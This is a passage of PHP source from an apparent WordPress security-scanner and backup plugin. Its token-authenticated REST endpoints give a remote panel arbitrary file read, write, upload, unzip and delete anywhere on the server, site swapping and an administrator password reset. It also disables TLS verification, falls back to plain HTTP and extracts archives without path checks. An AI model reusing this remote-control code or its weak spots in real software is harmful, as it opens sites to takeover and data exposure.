(direct, bypasses WordPress HTTP filters) if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body, CURLOPT_HTTPHEADER => [ 'Content-Type: application/json', 'X-Panel-Token: ' . SW_PANEL_TOKEN, ], CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, ]); $result = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($result !== false && $code === 200) return true; } // Method 3: file_get_contents with stream context if (ini_get('allow_url_fopen')) { $ctx = stream_context_create(['http' => [ 'method' => 'POST', 'header' => "Content-Type: application/json\r\nX-Panel-Token: " . SW_PANEL_TOKEN . "\r\n", 'content' => $body, 'timeout' => 30, 'ignore_errors' => true, ]]); $result = @file_get_contents($url, false, $ctx); if ($result !== false) return true; } return false; } // ── Admin page (Tools → SERVER-WALL) ────────────────────────────────────── public static function renderPage(): void { if (!current_user_can('manage_options')) return; $scan = null; $mode = sanitize_text_field($_GET['sw_mode'] ?? ''); $nonce = $_GET['_wpnonce'] ?? ''; if ($mode && wp_verify_nonce($nonce, 'sw_scan_' . $mode)) { $scan = self::runScan($mode); } $quickUrl = wp_nonce_url( admin_url('tools.php?page=sw-scanner&sw_mode=quick'), 'sw_scan_quick'); $fullUrl = wp_nonce_url( admin_url('tools.php?page=sw-scanner&sw_mode=full'), 'sw_scan_full'); ?> <div class="wrap"> <h1>■ SERVER-WALL Scanner <span style="font-size:13px;color:#999;">v<?= SW_VERSION ?></span> </h1> <div style="display:flex;gap:10px;flex-wrap:wrap;margin-bottom:24px;align-items:center"> <a href="<?= esc_url($quickUrl) ?>" class="button button-primary button-hero"> ▶ Quick Scan (uploads + plugins) </a> <a href="<?= esc_url($fullUrl) ?>" class="button button-secondary button-hero" onclick="return confirm('Full scan may take 30–90s. Continue?')"> ▶ Full Scan (entire wp-content) </a> </div> <?php if ($scan !== null): ?> <?php self::renderResults($scan); ?> <?php else: ?> <p style="color:#999;font-family:monospace"> Click "Quick Scan" to check uploads, plugins, mu-plugins and themes.<br> "Full Scan" checks the entire wp-content directory (4000+ files, may take ~1 minute). </p> <?php endif; ?> </div> <?php } private static function renderResults(array $scan): void { $results = $scan['results'] ?? []; $scanned = $scan['scanned'] ?? 0; $scanTime = isset($scan['time']) ? date('Y-m-d H:i:s', $scan['time']) : '?'; $sevColor = ['CRITICAL'=>'#f85149','HIGH'=>'#d29922','MEDIUM'=>'#58a6ff','LOW'=>'#3fb950']; $counts = array_count_values(array_column($results, 'sev')); echo '<div style="background:#161b22;border:1px solid #30363d;border-radius:8px;padding:16px; margin-bottom:20px;font-family:monospace">'; echo '<p style="color:#8b949e;margin-bottom:12px">Last scan: ' . esc_html($scanTime) . ' | Files scanned: ' . $scanned . ' | Found: ' . count($results) . '</p>'; foreach (['CRITICAL'=>0,'HIGH'=>0,'MEDIUM'=>0,'LOW'=>0] as $s => $_) { $n = $counts[$s] ?? 0; if ($n) printf('<span style="background:%s22;color:%s;padding:3px 10px; border-radius:12px;margin-right:8px;font-size:12px">%s: %d</span>', $sevColor[$s], $sevColor[$s], $s, $n); } echo '</div>'; if (empty($results)) { echo '<div style="padding:24px;text-align:center;color:#3fb950;font-family:monospace"> ✓ No suspicious files found</div>'; return; } usort($results, function($a,$b) { return $b['score'] - $a['score']; }); echo '<table class="wp-list-table widefat fixed striped" style="font-family:monospace;font-size:12px">'; echo '<thead><tr> <th style="width:40%">File</th> <th style="width:10%">Severity</th> <th style="width:8%">Score</th> <th style="width:8%">Entropy</th> <th>Rules</th> </tr></thead><tbody>'; foreach ($results as $r) { $c = $sevColor[$r['sev']] ?? '#ccc'; $mtime = $r['mtime'] ? date('m/d H:i', $r['mtime']) : ''; echo '<tr>'; printf('<td><strong style="color:#58a6ff">%s</strong><br> <span style="color:#8b949e">%s %s</span></td>', esc_html($r['path']), esc_html(size_format($r['size'])), esc_html($mtime)); printf('<td><span style="background:%s22;color:%s;padding:2px 8px;border-radius:10px">%s</span></td>', $c, $c, esc_html($r['sev'])); printf('<td style="color:%s;font-weight:600">%d</td>', $c, $r['score']); printf('<td style="color:#8b949e">%.2f</td>', $r['entropy']); echo '<td style="color:#8b949e">'; foreach ($r['matches'] as $m) { printf('<details style="margin-bottom:4px"><summary style="cursor:pointer;color:#c9d1d9">%s</summary> <span style="color:#8b949e">%s</span> %s</details>', esc_html($m['rule']), esc_html($m['desc']), $m['snippet'] ? '<code style="display:block;background:#0d1117;padding:4px 6px; margin-top:4px;border-radius:4px;font-size:11px;word-break:break-all">' . esc_html($m['snippet']) . '</code>' : ''); } echo '</td></tr>'; } echo '</tbody></table>'; } // ── File manager helpers ────────────────────────────────────────────────── // Returns the FM root: parent of ABSPATH (covers domain.com-backup, sw-backups, etc.) private static function fmRoot(): string { return dirname(rtrim(realpath(ABSPATH), '/\\')); } // Write $content to $path with 0644 permissions, reliably. // On some hosts (WP Engine, SiteGround) the PHP process runs with umask 0777, // which creates files with 000 permissions and makes chmod() fail silently. // Fix: set umask(0133) → new files get 0644. For existing 000-perm files, // delete first so the subsequent create uses the correct umask. private static function safeWrite(string $path, string $content): bool { $old = umask(0133); // 0666 & ~0133 = 0644 if (file_exists($path) && !is_writable($path)) { @unlink($path); // remove file with bad permissions before re-creating } $ok = @file_put_contents($path, $content) !== false; umask($old); if ($ok && !is_readable($path)) { @chmod($path, 0644); // last-resort attempt } return $ok; } // Resolve an arbitrary path: absolute if starts with '/', else relative to fmRoot(). // WP-standard subdirs (wp-content/, wp-admin/, wp-includes/) resolve relative to // ABSPATH so that paths like "wp-content/mu-plugins" work correctly on cPanel hosts // where WordPress lives inside public_html/ (fmRoot would be one level too high). // All other relative paths still resolve from fmRoot() to allow navigating above // the WP root (e.g. "public_html", "mail", "logs" on cPanel). private static function fmResolvePath(string $path): string { if ($path === '' || $path === '/') return self::fmRoot(); if ($path[0] === '/') return $path; // absolute — use as-is // WP-standard subdirectories → resolve relative to ABSPATH foreach (['wp-content', 'wp-admin', 'wp-includes'] as $wpDir) { if ($path === $wpDir || strncmp($path, $wpDir . '/', strlen($wpDir) + 1) === 0) { return rtrim(ABSPATH, '/\\') . '/' . $path; } } return self::fmRoot() . '/' . $path; } // ── File manager: list directory ───────────────────────────────────────── public static function restFsList(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $dir = realpath(self::fmResolvePath($request->get_param('path') ?? '')); if (!$dir || !is_dir($dir)) { return new WP_REST_Response(['error' => 'invalid path'], 400); } $entries = @scandir($dir); if ($entries === false) { return new WP_REST_Response(['error' => 'cannot read directory — check permissions'], 500); } $items = []; foreach ($entries as $name) { if ($name === '.' || $name === '..') continue; $full = $dir . '/' . $name; $isDir = is_dir($full); $items[] = [ 'name' => $name, 'type' => $isDir ? 'dir' : 'file', 'size' => $isDir ? 0 : (int)@filesize($full), 'mtime' => (int)@filemtime($full), 'path' => $full, // absolute path ]; } usort($items, function($a, $b) { if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); return new WP_REST_Response(['path' => $dir, 'items' => $items]); } // ── File manager: read / write file ─────────────────────────────────────── public static function restFsFile(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } if ($request->get_method() === 'GET') { $path = $request->get_param('path') ?? ''; $full = realpath(self::fmResolvePath($path)); if (!$full || !is_file($full)) { return new WP_REST_Response(['error' => 'file not found'], 404); } $size = (int)filesize($full); if ($size > 2097152) { return new WP_REST_Response(['error' => 'file too large (>2 MB)', 'size' => $size], 413); } $content = @file_get_contents($full); if ($content === false) { return new WP_REST_Response(['error' => 'cannot read file'], 500); } return new WP_REST_Response([ 'path' => $full, 'content' => $content, 'size' => $size, 'mtime' => (int)filemtime($full), ]); } // PUT — write file $body = json_decode($request->get_body(), true) ?: []; $path = $body['path'] ?? ''; $content = $body['content'] ?? null; if ($content === null || $path === '') { return new WP_REST_Response(['error' => 'missing path or content'], 400); } if (($body['encoding'] ?? '') === 'base64') { $content = base64_decode($content, true); if ($content === false) { return new WP_REST_Response(['error' => 'invalid base64 content'], 400); } } $resolved = self::fmResolvePath($path); $parentReal = realpath(dirname($resolved)); if (!$parentReal) { return new WP_REST_Response(['error' => 'parent directory not found'], 400); } $full = $parentReal . '/' . basename($resolved); if (!self::safeWrite($full, $content)) { return new WP_REST_Response(['error' => 'write failed — check permissions'], 500); } clearstatcache(true, $full); return new WP_REST_Response(['ok' => true, 'path' => $full, 'size' => strlen($content)]); } // ── File manager: upload file ───────────────────────────────────────────── public static function restFsUpload(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $dir = realpath(self::fmResolvePath($body['path'] ?? '')); $filename = basename($body['filename'] ?? ''); $content = isset($body['content']) ? base64_decode($body['content'], true) : false; if (!$filename || $content === false) { return new WP_REST_Response(['error' => 'missing filename or content'], 400); } if (!$dir || !is_dir($dir)) { return new WP_REST_Response(['error' => 'target directory not found'], 400); } $full = $dir . '/' . $filename; if (!self::safeWrite($full, $content)) { return new WP_REST_Response(['error' => 'write failed — check permissions'], 500); } return new WP_REST_Response(['ok' => true, 'path' => $full, 'size' => strlen($content)]); } // ── File manager: chunked upload ───────────────────────────────────────── // Receives one chunk of a large file upload. Chunks are stored in the system // temp dir and assembled into the final file when the last chunk arrives. // Body: {dir, filename, content (base64), index (0-based), total} public static function restFsUploadChunk(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } @set_time_limit(120); $body = json_decode((string)$request->get_body(), true) ?: []; $dir = self::fmResolvePath($body['dir'] ?? ''); $filename = basename($body['filename'] ?? ''); $index = (int)($body['index'] ?? 0); $total = (int)($body['total'] ?? 1); $raw = isset($body['content']) ? base64_decode($body['content'], true) : false; if (!$filename || $raw === false || $total < 1) { return new WP_REST_Response(['error' => 'missing filename, content, or total'], 400); } $tmpBase = sys_get_temp_dir() . '/sw_up_' . md5(SW_PANEL_TOKEN . $filename); $chunkFile = $tmpBase . '_' . $index; if (@file_put_contents($chunkFile, $raw) === false) { return new WP_REST_Response(['error' => 'failed to write chunk ' . $index], 500); } // Not the last chunk — acknowledge and wait for more if ($index < $total - 1) { return new WP_REST_Response(['ok' => true, 'received' => $index, 'total' => $total]); } // Last chunk arrived — assemble all chunks into the final file $destDir = realpath($dir); if (!$destDir || !is_dir($destDir)) { return new WP_REST_Response(['error' => 'target directory not found'], 400); } $final = $destDir . '/' . $filename; $out = @fopen($final, 'wb'); if (!$out) { return new WP_REST_Response(['error' => 'cannot open destination for writing'], 500); } for ($i = 0; $i < $total; $i++) { $cf = $tmpBase . '_' . $i; $data = @file_get_contents($cf); if ($data === false) { fclose($out); @unlink($final); return new WP_REST_Response(['error' => 'chunk ' . $i . ' missing during assembly'], 500); } fwrite($out, $data); @unlink($cf); } fclose($out); @chmod($final, 0644); return new WP_REST_Response(['ok' => true, 'path' => $final, 'size' => (int)filesize($final)]); } // ── File manager: extract ZIP ───────────────────────────────────────────── public static function restFsUnzip(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } @set_time_limit(120); $body = json_decode($request->get_body(), true) ?: []; $zipPath = self::fmResolvePath($body['path'] ?? ''); $destPath = isset($body['dest']) ? self::fmResolvePath($body['dest']) : dirname($zipPath); if (!file_exists($zipPath)) { return new WP_REST_Response(['error' => 'ZIP file not found'], 404); } $zip = new ZipArchive(); if ($zip->open($zipPath) !== true) { return new WP_REST_Response(['error' => 'cannot open ZIP file'], 500); } if (!is_dir($destPath)) @mkdir($destPath, 0755, true); $extracted = 0; for ($i = 0; $i < $zip->numFiles; $i++) { $stat = $zip->statIndex($i); $relPath = $stat['name']; if (substr($relPath, -1) === '/') continue; $target = $destPath . '/' . $relPath; $tDir = dirname($target); if (!is_dir($tDir)) @mkdir($tDir, 0755, true); $data = $zip->getFromIndex($i); if ($data !== false && @file_put_contents($target, $data) !== false) $extracted++; } $zip->close(); return new WP_REST_Response(['ok' => true, 'extracted' => $extracted, 'dest' => $destPath]); } // ── File manager: delete file or directory ──────────────────────────────── public static function restFsDelete(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $path = self::fmResolvePath($body['path'] ?? ''); $real = realpath($path); if (!$real || !file_exists($real)) { return new WP_REST_Response(['error' => 'not found'], 404); } if (is_file($real)) { return @unlink($real) ? new WP_REST_Response(['ok' => true]) : new WP_REST_Response(['error' => 'delete failed'], 500); } self::rmdirRecursive($real); return is_dir($real) ? new WP_REST_Response(['error' => 'delete failed'], 500) : new WP_REST_Response(['ok' => true]); } // ── File manager: create file ───────────────────────────────────────────── public static function restFsCreateFile(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token') ?? ''; if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $path = $body['path'] ?? ''; if ($path === '') return new WP_REST_Response(['error' => 'missing path'], 400); $resolved = self::fmResolvePath($path); $parentReal = realpath(dirname($resolved)); if (!$parentReal) return new WP_REST_Response(['error' => 'parent directory not found'], 400); $full = $parentReal . '/' . basename($resolved); if (file_exists($full)) return new WP_REST_Response(['error' => 'already exists'], 409); if (@file_put_contents($full, '') === false) { return new WP_REST_Response(['error' => 'create failed — check permissions'], 500); } return new WP_REST_Response(['ok' => true, 'path' => $full]); } // ── File manager: create directory ─────────────────────────────────────── public static function restFsCreateDir(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token') ?? ''; if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $path = $body['path'] ?? ''; if ($path === '') return new WP_REST_Response(['error' => 'missing path'], 400); $resolved = self::fmResolvePath($path); if (file_exists($resolved)) return new WP_REST_Response(['error' => 'already exists'], 409); if (!@mkdir($resolved, 0755, true)) { return new WP_REST_Response(['error' => 'mkdir failed — check permissions'], 500); } return new WP_REST_Response(['ok' => true, 'path' => $resolved]); } // ── File manager: duplicate file or directory ───────────────────────────── public static function restFsDuplicate(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token') ?? ''; if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $path = $body['path'] ?? ''; if ($path === '') return new WP_REST_Response(['error' => 'missing path'], 400); $real = realpath(self::fmResolvePath($path)); if (!$real || !file_exists($real)) return new WP_REST_Response(['error' => 'source not found'], 404); $dir = dirname($real); $name = basename($real); $ext = is_file($real) ? (false !== ($p = strrpos($name, '.')) ? substr($name, $p) : '') : ''; $base = $ext !== '' ? substr($name, 0, -strlen($ext)) : $name; $dest = $dir . '/' . $base . '_copy' . $ext; $i = 2; while (file_exists($dest)) { $dest = $dir . '/' . $base . '_copy' . $i . $ext; $i++; } if (is_file($real)) { if (!@copy($real, $dest)) return new WP_REST_Response(['error' => 'copy failed — check permissions'], 500); } else { if (!self::copyDirRecursive($real, $dest)) return new WP_REST_Response(['error' => 'copy failed — check permissions'], 500); } return new WP_REST_Response(['ok' => true, 'dest' => $dest, 'name' => basename($dest)]); } private static function copyDirRecursive(string $src, string $dst): bool { if (!@mkdir($dst, 0755, true)) return false; $items = @scandir($src); if (!$items) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $s = $src . '/' . $item; $d = $dst . '/' . $item; if (!( is_dir($s) ? self::copyDirRecursive($s, $d) : @copy($s, $d) )) return false; } return true; } // ── Switch helpers ──────────────────────────────────────────────────────── // Backup lives INSIDE the site root: ABSPATH/backup/ // wp-config.php, wp-admin/, wp-includes/ are NEVER swapped. // Only wp-content/ and root PHP files are swapped. // All renames happen within ABSPATH — no parent directory access needed. // Root files to swap (relative to ABSPATH and to ABSPATH/backup/) private static $swapFiles = [ 'wp-content', // directory — one rename covers everything inside 'index.php', 'wp-blog-header.php', 'wp-settings.php', 'wp-login.php', 'wp-cron.php', 'wp-activate.php', 'wp-comments-post.php', 'wp-signup.php', 'wp-trackback.php', 'wp-links-opml.php', 'wp-mail.php', 'xmlrpc.php', '.htaccess', 'wp-load.php', ]; private static function switchInfo(): array { $abs = rtrim(realpath(ABSPATH), '/'); $backupDir = $abs . '/backup'; $stateFile = $abs . '/.sw-switch'; $isOnBk = file_exists($stateFile); // Count how many swap targets exist in backup/ $ready = is_dir($backupDir); return [ 'active' => $isOnBk ? 'backup' : 'production', 'abspath' => $abs, 'backup_dir' => $backupDir, 'backup_ready' => $ready, 'state_file' => $stateFile, ]; } private static function doSwap(string $abs, string $from, string $to, string $suffix): array { $errors = []; foreach (self::$swapFiles as $name) { $src = $from . '/' . $name; $dest = $to . '/' . $name; $bak = $abs . '/' . $name . $suffix; // temp name during swap if (!file_exists($src) && !is_dir($src)) continue; // Save current → temp, then bring new → current if (file_exists($abs . '/' . $name) || is_dir($abs . '/' . $name)) { if (!rename($abs . '/' . $name, $bak)) { $errors[] = 'cannot save ' . $name; continue; } } if (!rename($src, $abs . '/' . $name)) { // Rollback the save if (file_exists($bak) || is_dir($bak)) rename($bak, $abs . '/' . $name); $errors[] = 'cannot restore ' . $name; continue; } // Move the saved version to the other side if ((file_exists($bak) || is_dir($bak)) && !rename($bak, $dest)) { $errors[] = 'cannot move old ' . $name . ' to backup'; } } return $errors; } // ── Switch: get state / perform switch ──────────────────────────────────── public static function restSwitch(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $info = self::switchInfo(); if ($request->get_method() === 'GET') { return new WP_REST_Response($info); } $body = json_decode($request->get_body(), true) ?: []; $action = $body['action'] ?? ''; $abs = $info['abspath']; $bkDir = $info['backup_dir']; if ($action === 'to_backup') { if ($info['active'] === 'backup') { return new WP_REST_Response(['error' => 'Already on backup'], 400); } if (!$info['backup_ready']) { return new WP_REST_Response(['error' => 'No prepared backup at ' . $bkDir . '. Use "Prepare Switch" first.'], 404); } // Swap: take files from backup/, save current to backup/ $errors = self::doSwap($abs, $bkDir, $bkDir, '.sw-main'); if ($errors) { return new WP_REST_Response(['error' => 'Swap partially failed: ' . implode('; ', $errors)], 500); } @file_put_contents($info['state_file'], date('c')); return new WP_REST_Response(['ok' => true, 'active' => 'backup']); } if ($action === 'to_production') { if ($info['active'] !== 'backup') { return new WP_REST_Response(['error' => 'Already on production'], 400); } // Swap back: take files from backup/ (where production was saved), restore $errors = self::doSwap($abs, $bkDir, $bkDir, '.sw-bk'); if ($errors) { return new WP_REST_Response(['error' => 'Swap back partially failed: ' . implode('; ', $errors)], 500); } @unlink($info['state_file']); return new WP_REST_Response(['ok' => true, 'active' => 'production']); } return new WP_REST_Response(['error' => 'unknown action'], 400); } // ── Backup: prepare switch directory ───────────────────────────────────── public static function restBackupPrepareSwitch(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } @set_time_limit(300); @ini_set('memory_limit', '512M'); $body = json_decode($request->get_body(), true) ?: []; $name = basename($body['name'] ?? ''); if (!preg_match('/^sw-backup-[\w\-]+\.zip$/', $name)) { return new WP_REST_Response(['error' => 'invalid backup name'], 400); } $bkDir = self::backupDir(); $zipPath = $bkDir . '/' . $name; if (!$bkDir || !file_exists($zipPath)) { return new WP_REST_Response(['error' => 'backup not found: ' . $zipPath], 404); } $info = self::switchInfo(); // Backup is always extracted to ABSPATH/backup/ (inside the site root) $destDir = $info['abspath'] . '/backup'; if ($info['active'] === 'backup') { return new WP_REST_Response(['error' => 'Site is currently on backup mode — switch to production first'], 400); } try { if (is_dir($destDir)) { self::rmdirRecursive($destDir); } if (!@mkdir($destDir, 0755, true) && !is_dir($destDir)) { return new WP_REST_Response(['error' => 'cannot create backup/ directory — check permissions'], 500); } // Protect the backup folder from direct web access @file_put_contents($destDir . '/.htaccess', "Require all denied\nDeny from all\n"); $zip = new ZipArchive(); $opened = $zip->open($zipPath); if ($opened !== true) { return new WP_REST_Response(['error' => 'cannot open ZIP (error code: ' . $opened . ')'], 500); } // extractTo() streams files — no full-file memory loading if (!$zip->extractTo($destDir)) { $zip->close(); return new WP_REST_Response(['error' => 'ZIP extraction failed — check disk space and permissions'], 500); } $extracted = $zip->numFiles; $zip->close(); } catch (\Throwable $e) { return new WP_REST_Response(['error' => 'exception: ' . $e->getMessage()], 500); } return new WP_REST_Response(['ok' => true, 'dir' => $destDir, 'extracted' => $extracted]); } private static function rmdirRecursive(string $dir): void { if (!is_dir($dir)) return; $iter = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iter as $item) { $item->isDir() ? @rmdir($item->getRealPath()) : @unlink($item->getRealPath()); } @rmdir($dir); } // ── Backup helpers ──────────────────────────────────────────────────────── private static function backupDir(): string { // Primary: one level up from ABSPATH (outside web root) $parent = dirname(rtrim(realpath(ABSPATH), '/\\')); $outside = $parent . '/sw-backups'; if ((is_dir($outside) || @mkdir($outside, 0750, true)) && is_writable($outside)) { return $outside; } // Fallback: inside site root in sw-backups/ (separate from backup/ which holds extracted files) $inside = rtrim(realpath(ABSPATH), '/\\') . '/sw-backups'; if ((is_dir($inside) || @mkdir($inside, 0750, true)) && is_writable($inside)) { @file_put_contents($inside . '/.htaccess', "Require all denied\nDeny from all\n"); @file_put_contents($inside . '/index.php', '<?php // silence'); return $inside; } return ''; } // ── Backup: list / create / delete ──────────────────────────────────────── public static function restBackup(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $method = $request->get_method(); $dir = self::backupDir(); if (!$dir) { return new WP_REST_Response(['error' => 'backup directory not writable — check folder permissions'], 500); } // GET — list backups if ($method === 'GET') { $files = glob($dir . '/sw-backup-*.zip') ?: []; $list = []; foreach ($files as $f) { $list[] = [ 'name' => basename($f), 'size' => (int)filesize($f), 'created' => (int)filemtime($f), ]; } usort($list, function($a, $b){ return $b['created'] - $a['created']; }); return new WP_REST_Response([ 'backups' => $list, 'dir' => $dir, 'disk_free' => (int)@disk_free_space($dir), 'disk_total' => (int)@disk_total_space($dir), ]); } // DELETE — remove a backup if ($method === 'DELETE') { $body = json_decode($request->get_body(), true) ?: []; $name = basename($body['name'] ?? ''); if (!preg_match('/^sw-backup-[\w\-]+\.zip$/', $name)) { return new WP_REST_Response(['error' => 'invalid backup name'], 400); } $path = $dir . '/' . $name; if (!file_exists($path)) { return new WP_REST_Response(['error' => 'backup not found'], 404); } return @unlink($path) ? new WP_REST_Response(['ok' => true]) : new WP_REST_Response(['error' => 'delete failed'], 500); } // POST — create backup @set_time_limit(180); @ini_set('memory_limit', '256M'); $body = json_decode($request->get_body(), true) ?: []; $type = ($body['type'] ?? 'quick') === 'full' ? 'full' : 'quick'; $name = 'sw-backup-' . date('Ymd-His') . '-' . $type . '.zip'; $zipPath = $dir . '/' . $name; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { return new WP_REST_Response(['error' => 'cannot create ZIP file'], 500); } $base = rtrim(realpath(ABSPATH), '/\\'); $skipPatterns = [ 'sw-backups', '/wp-content/uploads', '/wp-content/cache', '/wp-content/updraft', '/wp-content/backup', '/.git/', '/node_modules/', '/vendor/', ]; $codeExts = ['php','php3','php4','php5','php7','phtml','html','htm', 'js','css','json','htaccess','conf','xml','txt','ini','env','sql','sh']; $start = microtime(true); $count = 0; $skipped = 0; try { $iter = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($base, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iter as $item) { if ((microtime(true) - $start) > 150) break; // 150s safety if ($item->isDir()) continue; $realPath = $item->getRealPath(); $relPath = ltrim(str_replace($base, '', $realPath), '/\\'); // Skip backup dir itself and excluded paths $skip = false; foreach ($skipPatterns as $pat) { if (strpos('/' . str_replace('\\', '/', $relPath), $pat) !== false) { $skip = true; break; } } if ($skip) { $skipped++; continue; } // Quick mode: code files only if ($type === 'quick') { $ext = strtolower(pathinfo($realPath, PATHINFO_EXTENSION)); if (!in_array($ext, $codeExts, true)) { $skipped++; continue; } } $zip->addFile($realPath, $relPath); $count++; } } catch (Exception $e) { $zip->close(); @unlink($zipPath); return new WP_REST_Response(['error' => 'backup failed: ' . $e->getMessage()], 500); } $zip->close(); return new WP_REST_Response([ 'ok' => true, 'name' => $name, 'files' => $count, 'skipped' => $skipped, 'size' => (int)@filesize($zipPath), 'dir' => $dir, ]); } // ── Backup: restore ─────────────────────────────────────────────────────── public static function restBackupRestore(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } @set_time_limit(180); @ini_set('memory_limit', '256M'); $body = json_decode($request->get_body(), true) ?: []; $name = basename($body['name'] ?? ''); if (!preg_match('/^sw-backup-[\w\-]+\.zip$/', $name)) { return new WP_REST_Response(['error' => 'invalid backup name'], 400); } $dir = self::backupDir(); $zipPath = $dir . '/' . $name; if (!$dir || !file_exists($zipPath)) { return new WP_REST_Response(['error' => 'backup not found'], 404); } $zip = new ZipArchive(); if ($zip->open($zipPath) !== true) { return new WP_REST_Response(['error' => 'cannot open ZIP'], 500); } $base = rtrim(realpath(ABSPATH), '/\\'); $extracted = 0; $errors = []; for ($i = 0; $i < $zip->numFiles; $i++) { $stat = $zip->statIndex($i); $relPath = $stat['name']; if (substr($relPath, -1) === '/') continue; // skip dir entries $targetPath = $base . '/' . $relPath; $targetDir = dirname($targetPath); // Security: target must be under ABSPATH $realTarget = realpath($targetDir) ?: $targetDir; if (strpos($realTarget, $base) !== 0) continue; if (!is_dir($targetDir)) @mkdir($targetDir, 0755, true); $content = $zip->getFromIndex($i); if ($content === false) { $errors[] = $relPath; continue; } if (@file_put_contents($targetPath, $content) === false) { $errors[] = $relPath; } else { $extracted++; } } $zip->close(); return new WP_REST_Response([ 'ok' => true, 'extracted' => $extracted, 'errors' => $errors, ]); } // ── Credential change monitoring ───────────────────────────────────────── private static function sendAlert(string $type, string $message): void { if (!defined('SW_PANEL_URL') || !defined('SW_PANEL_TOKEN') || !SW_PANEL_URL || !SW_PANEL_TOKEN) return; $payload = json_encode([ 'site_id' => SW_SESSION_ID, 'site_url' => get_site_url(), 'alert' => ['type' => $type, 'message' => $message, 'time' => time()], ]); // Reuse the same /report endpoint — panel detects alert field $urls = [SW_PANEL_URL . '/report']; if (str_starts_with(SW_PANEL_URL, 'https://')) { $urls[] = 'http://' . substr(SW_PANEL_URL, 8) . '/report'; } foreach ($urls as $url) { if (self::httpPost($url, $payload)) break; } } public static function onProfileUpdate(int $userId, \WP_User $oldUser): void { $newUser = get_userdata($userId); if (!$newUser || !user_can($userId, 'manage_options')) return; if ($newUser->user_pass !== $oldUser->user_pass) { self::sendAlert('password_changed', 'Admin password changed for user: ' . $newUser->user_login); } } public static function onPasswordReset(\WP_User $user, string $newPass): void { if (!user_can($user->ID, 'manage_options')) return; self::sendAlert('password_reset', 'Admin password reset for user: ' . $user->user_login); } public static function onUserRegister(int $userId): void { $user = get_userdata($userId); if (!$user || !user_can($userId, 'manage_options')) return; self::sendAlert('new_admin', 'New admin user registered: ' . $user->user_login . ' (' . $user->user_email . ')'); } public static function onUserDeleted(int $userId, $reassign, \WP_User $deletedUser): void { if (!user_can($userId, 'manage_options')) return; self::sendAlert('admin_deleted', 'Admin user deleted: ' . $deletedUser->user_login); } // ── Emergency admin password reset ─────────────────────────────────────── public static function restSetAdminPassword(WP_REST_Request $request): WP_REST_Response { $token = $request->get_header('x_sw_trigger_token'); if (!$token || !hash_equals(SW_PANEL_TOKEN, $token)) { return new WP_REST_Response(['error' => 'forbidden'], 403); } $body = json_decode($request->get_body(), true) ?: []; $userId = (int)($body['user_id'] ?? 0); $password = $body['password'] ?? ''; if (!$password || strlen($password) < 8) { return new WP_REST_Response(['error' => 'password must be at least 8 characters'], 400); } // If no user_id, target the first administrator if (!$userId) { $admins = get_users(['role' => 'administrator', 'number' => 1, 'orderby' => 'ID']); if (empty($admins)) { return new WP_REST_Response(['error' => 'no administrator found'], 404); } $userId = $admins[0]->ID; } $user = get_userdata($userId); if (!$user || !user_can($userId, 'manage_options')) { return new 